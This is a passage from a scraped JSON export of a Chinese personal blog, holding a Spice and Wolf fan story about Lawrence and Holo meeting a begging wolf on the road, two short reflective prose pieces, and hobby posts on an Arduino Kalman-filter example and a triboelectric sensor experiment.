class=\"has-text-align-left\"\u003e“中午好啊,我的公主大人。”\u003c/p\u003e\n\n\n\n\u003cp\u003e商人略带着无奈和戏谑的语气向着少女问好。而少女把头默默地靠在了他的肩膀上,却又一脸怒气地质问他。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝啊,就不能把马车驾得再平稳一些吗?咱都睡不了觉了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e这样说的时候,少女的尾巴却在摇晃着,啪嗒啪嗒拍打着货台。\u003c/p\u003e\n\n\n\n\u003cp\u003e与炎热的平原相比,山脚下吹拂着凉爽的风,慢慢吹散了少女脸颊上的汗水。汗香味顺着微风吹拂到商人的脸上,让商人不禁嗅了嗅鼻子,赫萝的尾巴因为长期使用昂贵的精油养护,散发出花香味。汗水的香味截然不同于花香味…那是只属于赫萝的,好闻的味道。这是只有商人知道的秘密。\u003c/p\u003e\n\n\n\n\u003cp\u003e商人松了一口气。\u003c/p\u003e\n\n\n\n\u003cp\u003e瞟了一眼赫萝的尾巴,然后转过头去。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这不挺开心的么。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱可不是因为没睡好觉开心啊。汝啊,是不是有点得意忘形了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e商人知道她为何如此开心。而开心的不只有她。他也一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝白了他一眼,靠得更紧了。\u003c/p\u003e\n\n\n\n\u003cp\u003e商人腾出左手,搂住赫萝的肩膀。\u003c/p\u003e\n\n\n\n\u003cp\u003e商人名叫罗伦斯,曾是一名旅行商人,在旅行的路途中遇到了赫萝。后来他成为了纽希拉“狼与香辛料”泉的老板,而赫萝,则成为了老板娘。而现在,则已经度过了十几年的开店生涯。他把店托付给其他人,重新踏上了旅途,去探望他俩的孩子缪里。\u003c/p\u003e\n\n\n\n\u003cp\u003e这样旅途中的日常,很容易让人想起两人刚刚相遇时候的场景。想到这些,两人心里说不定都在微笑。也正是如此,两人才会如此珍惜这样的日常。因为时间总在流逝,两人的每一个日常都是奇迹。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这样的道路还要走多久啊?只能吃黑麦面包,睡在货台里,咱都有些不耐烦了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝移开罗伦斯的手臂,有些不耐烦地又从袋子里抽出一条黑麦面包,吃之前故意用手敲了敲,发出“咚咚”的脆响。然后嘎吱一下一口咬下去。表情像是在嚼木头。\u003c/p\u003e\n\n\n\n\u003cp\u003e“山脚的那一头,可是以盛产鱼虾而出名的阿蒂夫哦?听说那里有东方国度来的厨师,把刚捞上来的鲜活带着冰碴儿的虾装入大锅的抽屉上,抽屉下面加水,火力开到整个锅盖都冒出虾的香味。然后掀开锅盖,把透红的虾肉取出再撒上盐巴和特制的酱料….”\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯说到一半,余光注意到赫萝的兜帽晃了一晃。赫萝先是假装没听见一样把头扭到一边。等着罗伦斯说下去的时候终于忍不住了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这个时候再配上一点冰啤酒,配上鲜鱼刺身…”\u003c/p\u003e\n\n\n\n\u003cp\u003e还没等罗伦斯说完,赫萝的两只手就已经握住了罗伦斯的胳膊,两只红宝石般的大眼睛一闪一闪的,充满了期待的目光。\u003c/p\u003e\n\n\n\n\u003cp\u003e果然,这只狼只要一听到食物脸色变化就会比从麦田到雪山脚下的景色变化还明显。\u003c/p\u003e\n\n\n\n\u003cp\u003e“所以,在到阿蒂夫之前你要忍一忍。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“到了那里,咱要喝精酿的小麦啤酒,吃小麦面包,住靠着街道有铺着羽绒床垫的大床的宾馆,还要吃汝说的东方菜…”\u003c/p\u003e\n\n\n\n\u003cp\u003e一提起吃的来就说个没完,想起刚遇见她的时候,她还和自己斗智斗勇,为了保护自己的荷包,罗伦斯没少跟赫萝起口角。但是到最后,他发现,赫萝是自己货台上最珍贵的货物,哪怕是他把荷包丢掉也买不到的。结了婚以后更是如此,他没有拒绝过赫萝的各种要求。而赫萝,或许是当上了温泉酒店老板娘的缘故,也变得替罗伦斯着想了一些。当罗伦斯手头实在窘迫,她不会提出无理的要求。一是为了罗伦斯,二是为了扮演贤妻良母的形象给缪里看。现在倒好,缪里出去环游世界了。而现在两人又是出去旅行…旅行,经商变成了次要的,所以这只狼的野性就又回来了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“我说,汝啊,我刚才说的听…”\u003c/p\u003e\n\n\n\n\u003cp\u003e马车摇摇晃晃地往前走着,赫萝的话说到一半却又停下了,兜帽里的耳朵左右摇晃着。罗伦斯注意到了赫萝的异样。\u003c/p\u003e\n\n\n\n\u003cp\u003e然后赫萝小声地岔开话题。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝还记得上次我们从这里路过的时候么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“你说十年前我们往纽希拉赶路的时候?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“嗯。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“我记得那时候遇见了一只快饿死的小狼…就躺在前面那颗树边上。难道,它还在那里?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱也不确定,都十年了,虽然咱是贤狼,十年前的味道咱也记不住呗。不过确实有狼的味道在就是了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e马车继续往前走着,暂时没发现什么异常…然后,从灌木丛中间突然窜出来一只皮毛黑亮的狼挡灾路中间。拉货台的马受惊,高高地跃起前蹄。没等罗伦斯反应过来,赫萝已经皱着眉头跳下马车。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝这….”\u003c/p\u003e\n\n\n\n\u003cp\u003e正当赫萝想要训斥这不识时务的独狼时。这只狼却突然翻滚着露出肚皮,甚至摇起了尾巴。同时喉咙里发出了呜呜声。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝更生气了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱可是赫萝,贤狼赫萝!”\u003c/p\u003e\n\n\n\n\u003cp\u003e几乎是吼出来的,她面前的狼吓了一跳,一个翻滚又夹起了尾巴,浑身的毛都在颤抖。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯把马拴在路边,听见赫萝在大吼大叫,赶快跑了过去。\u003c/p\u003e\n\n\n\n\u003cp\u003e“怎么了?”\u003c/p\u003e\n\n\n\n\u003cp\u003e看见罗伦斯站在赫萝身边,那只狼又翻滚着露出肚皮,摇摆着尾巴。看起来很可爱的样子。罗伦斯从兜里掏出了刚想吃的肉干,蹲下身子就这么把肉干递到了她嘴里。狼高兴地咀嚼着罗伦斯递来的肉干,然后用头蹭着罗伦斯的腿,卖力地摇着尾巴…\u003c/p\u003e\n\n\n\n\u003cp\u003e这大概是十年前那只狼吧。记得当时罗伦斯把自己的口粮递到她跟前她连看都不看一眼。而那时的赫萝却不显得很担心的样子。而现在,还没等罗伦斯反应过来,赫萝就已经把他手里还没喂完的肉干塞到了自己的嘴里,而且越嚼越大口。像是故意在做给他眼前的另一只狼看。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝为什么会如此生气呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e那只狼只是呆呆地望着赫萝,嘴里发出呜呜的叫声,显得更可怜了。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯心里想,这哪里是狼啊,分明就是…\u003c/p\u003e\n\n\n\n\u003cp\u003e后面的词他想都不敢想,要是他家里的那只狼知道了他此刻心中的想法,说不定会被咬断脖子。\u003c/p\u003e\n\n\n\n\u003cp\u003e天色渐暗,独狼见没有新的食物,只好黯然地离去了。罗伦斯从车上抱下来一点木柴,开始取火。虽然赫萝半路上嘴没闲着,一直在吃货台里为了旅行而准备的口粮,但她还是闹着要吃晚饭。罗伦斯也早已饿得不行了。虽然是黑麦面包,但对于一个饿肚子的人来说却是十分美味的食物。反倒是赫萝又开始抱怨。毕竟她在路上吃黑麦面包都已经吃腻了。\u003c/p\u003e\n\n\n\n\u003cp\u003e不得已,罗伦斯从货台上拿出了一些御寒时准备用的高度蒸馏酒,用来给这平淡的一餐增加一丝丝的趣味。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝满足地用装水的水壶大口喝着蒸馏酒,另一只手与罗伦斯十指相勾,把头靠在罗伦斯的胸口上,早早摘下了兜帽,露出两只三角形的大兽耳。边喝酒边轻轻颤动着,这让罗伦斯觉得很可爱。在旅途中,这种画面已经重复过了无数次,而他却永远也看不腻。甚至,他希望时间就这样定格住。\u003c/p\u003e\n\n\n\n\u003cp\u003e然而,时间注定是残酷的。赫萝被禁锢在了时间的漩涡里,只剩下他一人在时间的长河中漂流。倘若他松开此刻握紧的手,二人也许就会在时间之流里失散。\u003c/p\u003e\n\n\n\n\u003cp\u003e他不愿看到这种场景出现。\u003c/p\u003e\n\n\n\n\u003cp\u003e一轮弯弯的新月升起,照耀着罗伦斯怀里有些微醺的赫萝。她的脸颊泛红,清冷的月光洒在她亚麻色的长发上,就如同泼洒下了整个秋天。灿烂,美好,让人不舍,让人珍惜。月光下赫萝的身躯显得更加娇弱,让罗伦斯想要用力抱紧。事实上,他也这么做了。听着赫萝细细的呼吸声,罗伦斯抚摸着赫萝的长发,把鼻子凑到赫萝的耳朵根部,轻轻地闻上几下。那是只属于赫萝的味道。\u003c/p\u003e\n\n\n\n\u003cp\u003e夜深了,灌木丛里却有窸窸窣窣的响声,罗伦斯怀里的赫萝的兽耳动了动,罗伦斯盯着灌木丛的方向,一只手抱住赫萝,另一只手握住了挂在腰间的短剑。\u003c/p\u003e\n\n\n\n\u003cp\u003e这么晚了,会是什么呢?野兽?赫萝在这里,一般的野兽早就跑开了。强盗?那更不可能了,据他所知,这条小路只有运粮的村民会走,在这里打劫的收益还不够准备露营的食物的。\u003c/p\u003e\n\n\n\n\u003cp\u003e那又会是什么?\u003c/p\u003e\n\n\n\n\u003cp\u003e正当罗伦斯苦思瞑想的时候,灌木丛中缓缓走出了一个少女。跟赫萝差不多高,长着齐腰的黑色长发,头上也顶着两个兽耳,只不过比赫萝的小很多。眼睛是蓝色的。五官很端正,比赫萝的体型稍微丰满一点,总体上很匀称。长相比赫萝成熟,却没有赫萝身上的那股威严。对见惯了非人之人的罗伦斯来说,他不对少女的兽耳感到奇怪。甚至他能猜出少女的本体是一只狼。\u003c/p\u003e\n\n\n\n\u003cp\u003e但这只狼是来干什么的呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯刚要开口问,少女却先开口了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“跟我想的差不多…你们的感情还真是好。呃,十年前我就这么想,到现在还是一点也没变。真是难能可贵。不得不说,贤狼还真是捕到了一个抢手的猎物。 ”\u003c/p\u003e\n\n\n\n\u003cp\u003e一边说,少女的目光却盯着罗伦斯在上下打量。火光把少女的双眸映照地闪亮,就像是两片阳光下的湖泊。罗伦斯从少女眼中看到了他与赫萝倚偎的场景。那种眼神像是在羡慕,又像是在嫉妒。\u003c/p\u003e\n\n\n\n\u003cp\u003e“我是来报恩的。不过,看来没有什么必要了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e说完,少女意味深长地看了看罗伦斯怀里的赫萝。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你是十年前的那只狼么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“我当时一度趴在路边,饿得都走不动了。如果不是你们路过的话,我大概会被经过的熊给吃掉吧。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“可是我记得,你不是一脸嫌弃的样子么?我当时把食物扔到你嘴边,你动也不动,别告诉我你是连张嘴的力气都没有了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e少女听到这里有点不高兴。\u003c/p\u003e\n\n\n\n\u003cp\u003e“过去的事情就不要再提了。看你这样也不需要我做什么了。祝你们二位幸福。不用担心我。”\u003c/p\u003e\n\n\n\n\u003cp\u003e说完少女转头就走了。罗伦斯觉得有些莫名其妙。\u003c/p\u003e\n\n\n\n\u003cp\u003e不是来报恩的么,怎么又成了不要担心她了?这什么跟什么啊。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯摇了摇头,看着怀里的赫萝耳朵还是一动一动的,“唉”地叹了口气。\u003c/p\u003e\n\n\n\n\u003cp\u003e“我知道你醒着…怎么,不放心么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱倒是有些话要跟她说。汝就在这里等着呗。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“欸?”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝从罗伦斯的怀里钻出来。也朝着灌木丛走去。\u003c/p\u003e\n\n\n\n\u003cp\u003e趁着赫萝不在,罗伦斯终于有机会整理自己的思绪。想想过去的自己,已经不能算是滥好人了。\u003c/p\u003e\n\n\n\n\u003cp\u003e搭救了这只不认识的狼,也搭救了怀里这只贤狼。并愿意为了贤狼的快乐与幸福付出自己的一生,放弃了徳堡商行的邀请,放弃了唾手可得的巨额财富。从放荡不羁爱自由的旅行商人,到温泉酒店家庭美满生活规律的老板。钱的优先级已经放到了生活的第二位。唯有赫萝,是他心里的第一位。走在路上常常会被人说,“你是不是太宠她了喔”。这便是他的改变。\u003c/p\u003e\n\n\n\n\u003cp\u003e就像是被驯化了一样啊…\u003c/p\u003e\n\n\n\n\u003cp\u003e还来不及感叹,脑海中一股睡意袭来。睡梦之中隐隐约约地传来花朵的香味。胸口感到一阵温暖。\u003c/p\u003e\n\n\n\n\u003cp\u003e这个味道,这种感觉,是赫萝回来了。\u003c/p\u003e\n\n\n\n\u003cp\u003e想到这里,罗伦斯忍不住在睡梦中微笑。这便是他最宝贵的财富。\u003c/p\u003e\n\n\n\n\u003cp\u003e第二天清晨,赶路的时候再也没遇见那只黑色的狼。罗伦斯有些好奇地问赫萝,昨晚上她跑出去跟那只狼说了些什么。为什么一开始见到她的时候那么生气。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你是不是吃醋了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯坏笑着看着赫萝。赫萝重重地踩在罗伦斯的脚上,瞪了罗伦斯一眼。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝这头大笨驴。汝以为咱是那么容易吃醋的么?反倒是汝,一路上吃了多少次醋,一整天担惊受怕的,现在是不是有些得意忘形了?汝这样真的不担心…”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝说到一半,发现自己踩了一个很大的雷点。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你是说,不担心有一天你会再度离开我的身边么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e答案是,每时每刻都在担心,以至于形影不离。而且这种担心注定要成为现实。必将发生在对于罗伦斯遥远,对赫萝只不过是须臾之间的未来,而且是罗伦斯会永远地离开赫萝。\u003c/p\u003e\n\n\n\n\u003cp\u003e两人无言。只有冰冷地寒风吹过山脚下。从丰收的麦田吹向寒冷的山巅。\u003c/p\u003e\n\n\n\n\u003cp\u003e此刻,鸦雀无声。赫萝紧紧地抱住了罗伦斯的身体。把自己所有的温暖和重量都施加在他的身上。罗伦斯挺直了腰板,紧紧地拽住缰绳。任凭寒风吹过自己的脸颊。\u003c/p\u003e\n\n\n\n\u003cp\u003e只为了他和她,能够紧紧感受到此刻飘渺的幸福和温暖。相遇的每一天,都是奇迹。所以,每一天,都倍加珍惜。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝猜,那只狼为什么会十年不见却每天能吃饱饭呢?“”\u003c/p\u003e\n\n\n\n\u003cp\u003e“这十年学会了捕猎然后自己打猎么..不对,学会了打猎就不需要乞讨了。那是为什么呢?….”\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯想到了当时那只狼讨要食物的场景,未免有些太惹人怜惜了。就像是一只可怜的小狗一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e一定是有哪里不对劲。罗伦斯觉得答案就在脑子里晃动。但是他还无法做出回答。\u003c/p\u003e\n\n\n\n\u003cp\u003e感觉这狼要饭的场景好像有些诡异。\u003c/p\u003e\n\n\n\n\u003cp\u003e是什么造成的呢?还有当时赫萝冲出去朝她大吼大叫,又是为什么呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e村民经常经过的路,小狗,赫萝,讨要食物,大吼大叫。这根线串在了一起。\u003c/p\u003e\n\n\n\n\u003cp\u003e“她为什么这么熟练呢?是因为长期在路上讨要食物的缘故么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“大笨驴也有聪明的时候呗。汝猜得八九不离十。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“那你那时候生气,是因为?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝做人会随意乞讨么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“当然不会,除非穷到彻底没钱或者没力气干活。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“那么汝认为,乞讨者是不是需要每天低声下气地忍受着别人的目光呢?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“毕竟是乞讨…这也正常吧。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“但对于咱这样的贤狼来说,看着同族人有能力打猎却在以讨饭为谋生的手段是在丢狼族的脸呐!都是那头大笨驴害得咱脸上蒙羞。所以咱那天晚上主动去把话说清楚了。那头大笨驴答应咱以后再也不会在这里要饭了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e说着,赫萝抬头看看了身后的雪山,不知道什么时候,马车已经从山脚下离开了。只剩下白茫茫的大地。而远处的大海清晰可见。\u003c/p\u003e\n\n\n\n\u003cp\u003e“那头大笨驴现在应该去山上打猎了呗。”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝欣慰地笑了笑。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯看着赫萝,心里也在憋着笑。\u003c/p\u003e\n\n\n\n\u003cp\u003e他身边这只贤狼不也是一样么,自己不去捕猎,每天朝他讨要食物。要是跟她说这些,她说不定会这么反驳。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝也是咱打来的猎物啊。”\u003c/p\u003e\n\n\n\n\u003cp\u003e已经能想象出她的表情了。这么看,是谁驯化了谁,还不一定呢。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯也因此抱紧了怀里的赫萝。而赫萝则不怀好意地看着越来越近的阿蒂夫的景色。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这几天咱可是好好地坚持下来了哦,汝啊,要信守承诺,咱要吃小麦面包,喝精酿的啤酒,再配上汝说的东方菜…”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝的尾巴摇的啪啪作响。\u003c/p\u003e\n\n\n\n\u003cp\u003e“遵命,我的公主大人。”\u003c/p\u003e\n\n\n\n\u003cp\u003e谁叫我是你的猎物呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e身后的雪山越来越远。\u003c/p\u003e\n\n\n\n\u003cp\u003e马车疾驰着,行走在阳光下,拥抱着阿蒂夫的秋天。\u003c/p\u003e\n\n\n\n\u003cp\u003e狼与驯化的野性,完。\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"768\" src=\"https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-1024x768.jpg\" class=\"wp-image-237\" srcset=\"https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-1024x768.jpg 1024w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-300x225.jpg 300w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-768x576.jpg 768w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-1536x1153.jpg 1536w, https://raay.xyz/wp-content/uploads/2023/11/img_1319-1-2048x1537.jpg 2048w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" /\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"768\" src=\"https://raay.xyz/wp-content/uploads/2023/11/img_1133-1024x768.jpg\" class=\"wp-image-238\" srcset=\"https://raay.xyz/wp-content/uploads/2023/11/img_1133-1024x768.jpg 1024w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-300x225.jpg 300w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-768x576.jpg 768w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-1536x1152.jpg 1536w, https://raay.xyz/wp-content/uploads/2023/11/img_1133-2048x1536.jpg 2048w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" /\u003e\u003c/figure\u003e\n","url":"https://raay.xyz/239"},{"title":"真正的痛苦","time":"2023-07-16T17:50:50Z","content":"仰头望天,这又是何等的痛苦\u003chr /\u003e\n\u003cp\u003e那是一片湛蓝色的天空,绚丽而光洁。\u003c/p\u003e\n\n\n\n\u003cp\u003e那也是已经凝视了不知多少次的,属于夏天的天空。\u003c/p\u003e\n\n\n\n\u003cp\u003e如果说,仰头望向这片天空,是为了让泪水不再流出来。\u003c/p\u003e\n\n\n\n\u003cp\u003e那仰头望向这天空,也变成了内心对于这沉重的事实已然发生的抵抗。\u003c/p\u003e\n\n\n\n\u003cp\u003e内心拒绝着残酷的现实,并不肯定。这便是最大的残酷。\u003c/p\u003e\n\n\n\n\u003cp\u003e仰头望天,这又是何等的痛苦。\u003c/p\u003e\n","url":"https://raay.xyz/230"},{"title":"今天的天气,知道的?","time":"2023-07-15T18:16:15Z","content":"连遗忘本身都忘记,那才是真正的束手无策。\u003chr /\u003e\n\u003cp\u003e“今天的天气,知道吗?”\u003cbr /\u003e“嗯?”\u003cbr /\u003e“明天的天气,知道吗?”\u003cbr /\u003e………\u003cbr /\u003e她像是明白了什么,稍微改变了一下问法。\u003cbr /\u003e“今天的天气,知道的?”\u003cbr /\u003e“是。”\u003cbr /\u003e“明天的天气,知道的?”\u003cbr /\u003e“是……”\u003cbr /\u003e渐渐地,那美丽的双目里的诧异变成了惊恐。\u003cbr /\u003e曾经不相信的预知的未来的重担,藉由孩子的话,真真正正地压到了她的肩膀上,有点让人喘不过气。\u003cbr /\u003e图画书上的内容变成了现实,那是预告,不是巧合。\u003cbr /\u003e只有二人才明白,连遗忘的本身也一起遗忘,那才是所谓真正的束手无策。\u003cbr /\u003e\u003c/p\u003e\n","url":"https://raay.xyz/227"},{"title":"好玩的Kalman滤波器(仅样例)","time":"2023-07-14T17:05:02Z","content":"然而Kalman滤波器不是滤波器(\u003chr /\u003e\n\u003cp\u003eKalman滤波器是阿波罗登月时候研制的一种滤波算法,准确来说并不叫滤波器,而是一种最优估计器。特别适用于传感器降噪,不需要额外的电路。\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" loading=\"lazy\" width=\"983\" height=\"582\" src=\"https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9.png\" alt=\"\" class=\"wp-image-219\" srcset=\"https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9.png 983w, https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9-300x178.png 300w, https://raay.xyz/wp-content/uploads/2023/07/3d6d3f0048bc76d365bca0c3a971cbe9-768x455.png 768w\" sizes=\"(max-width: 983px) 100vw, 983px\" /\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e滤波效果(采样每100ms)\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e绿色线为原始数据,紫色线为滤波后数据。甚至能一定程度上缓解饱和失真的现象。\u003c/p\u003e\n\n\n\n\u003cp\u003e在Arduino上引入\u003c/p\u003e\n\n\n\n\u003cdiv class=\"wp-block-argon-github github-info-card card shadow-sm github-info-card-full\" data-author=\"denyssene\" data-project=\"SimpleKalmanFilter\"\u003e\u003cdiv class=\"github-info-card-header\"\u003e\u003ca href=\"https://github.com/\" target=\"_blank\" title=\"Github\" rel=\"noopener\"\u003e\u003cspan\u003e\u003ci class=\"fa fa-github\"\u003e\u003c/i\u003e GitHub\u003c/span\u003e\u003c/a\u003e\u003c/div\u003e\u003cdiv class=\"github-info-card-body\"\u003e\u003cdiv class=\"github-info-card-name-a\"\u003e\u003ca href=\"https://github.com/denyssene/SimpleKalmanFilter\" target=\"_blank\" rel=\"noopener\"\u003e\u003cspan class=\"github-info-card-name\"\u003edenyssene/SimpleKalmanFilter\u003c/span\u003e\u003c/a\u003e\u003c/div\u003e\u003cdiv class=\"github-info-card-description\"\u003e\u003c/div\u003e\u003c/div\u003e\u003cdiv class=\"github-info-card-bottom\"\u003e\u003cspan class=\"github-info-card-meta github-info-card-meta-stars\"\u003e\u003ci class=\"fa fa-star\"\u003e\u003c/i\u003e \u003cspan class=\"github-info-card-stars\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"github-info-card-meta github-info-card-meta-forks\"\u003e\u003ci class=\"fa fa-code-fork\"\u003e\u003c/i\u003e \u003cspan class=\"github-info-card-forks\"\u003e\u003c/span\u003e\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\n\n\n\n\u003cp\u003e示例:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e#include \u0026amp;lt;SimpleKalmanFilter.h\u0026amp;gt;\n\n/*\n This sample code demonstrates how to use the SimpleKalmanFilter object. \n Use a potentiometer in Analog input A0 as a source for the reference real value.\n Some random noise will be generated over this value and used as a measured value.\n The estimated value obtained from SimpleKalmanFilter should match the real\n reference value.\n\n SimpleKalmanFilter(e_mea, e_est, q);\n e_mea: Measurement Uncertainty \n e_est: Estimation Uncertainty \n q: Process Noise\n */\nSimpleKalmanFilter simpleKalmanFilter(2, 2, 0.01);\n\n// Serial output refresh time\nconst long SERIAL_REFRESH_TIME = 100;\nlong refresh_time;\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n\n // read a reference value from A0 and map it from 0 to 100\n float real_value = analogRead(A0)/1024.0 * 100.0;\n \n // add a noise to the reference value and use as the measured value\n float measured_value = real_value + random(-100,100)/100.0;\n\n // calculate the estimated value with Kalman Filter\n float estimated_value = simpleKalmanFilter.updateEstimate(measured_value);\n\n // send to Serial output every 100ms\n // use the Serial Ploter for a good visualization\n if (millis() \u0026amp;gt; refresh_time) {\n Serial.print(real_value,4);\n Serial.print(\",\");\n Serial.print(measured_value,4);\n Serial.print(\",\");\n Serial.print(estimated_value,4);\n Serial.println();\n \n refresh_time = millis() + SERIAL_REFRESH_TIME;\n }\n\n}\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e关于此算法:\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/64539108\"\u003ehttps://zhuanlan.zhihu.com/p/64539108\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n","url":"https://raay.xyz/221"},{"title":"好玩的传感器和Arduino开发板","time":"2023-07-13T13:38:09Z","content":"算是自己做的一些微小的工作\u003chr /\u003e\n\u003cp\u003e算是自己做的一点微小的工作吧(\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-video\"\u003e\u003cvideo controls src=\"https://raay.xyz/wp-content/uploads/2023/07/img_1949.mp4\"\u003e\u003c/video\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e摩擦电传感器\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e将传感器的两端连接到Aduino Power端的GND和Analog in的A0端,获得输入信号。\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e注1:这里没有接电荷放大模块(不知道怎么用?或者说接上之后不能获得正确的输出)\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e注2:模拟输入端的最大信号幅值只有5V\u003c/strong\u003e,\u003cstrong\u003e老师给的材料性能非常好,轻微的碰撞或者压力就能产生巨大的电压\u003c/strong\u003e。\u003c/p\u003e\n\n\n\n\u003cp\u003e在Arduino IDE上编写程序获得A0端口的模拟输入,测量0-5V的信号变化。程序实时采样,未做延迟。\u003c/p\u003e\n\n\n\n\u003cp\u003e从视频里能看出,在信号的顶端产生了方波(饱和失真),说明元件的静态工作点设置有问题。\u003c/p\u003e\n\n\n\n\u003cp\u003e在不做运动的时候,信号噪声大。\u003c/p\u003e\n\n\n\n\u003cp\u003eTODO List\u003c/p\u003e\n\n\n\n\u003cul\u003e\n\u003cli\u003e设计滤波器,滤去噪声(考虑带通滤波器,先设计线性的)\u003c/li\u003e\n\n\n\n\u003cli\u003e串接可调电阻,将静态工作点设置在合理范围。\u003c/li\u003e\n\n\n\n\u003cli\u003e绘图程序坐标固定,删除动态变化。\u003c/li\u003e\n\n\n\n\u003cli\u003e通信模块链接,数据传输\u003c/li\u003e\n\n\n\n\u003cli\u003e手机APP\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n","url":"https://raay.xyz/215"},{"title":"剃须与味噌汤","time":"2021-12-02T18:39:16Z","content":"莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003chr 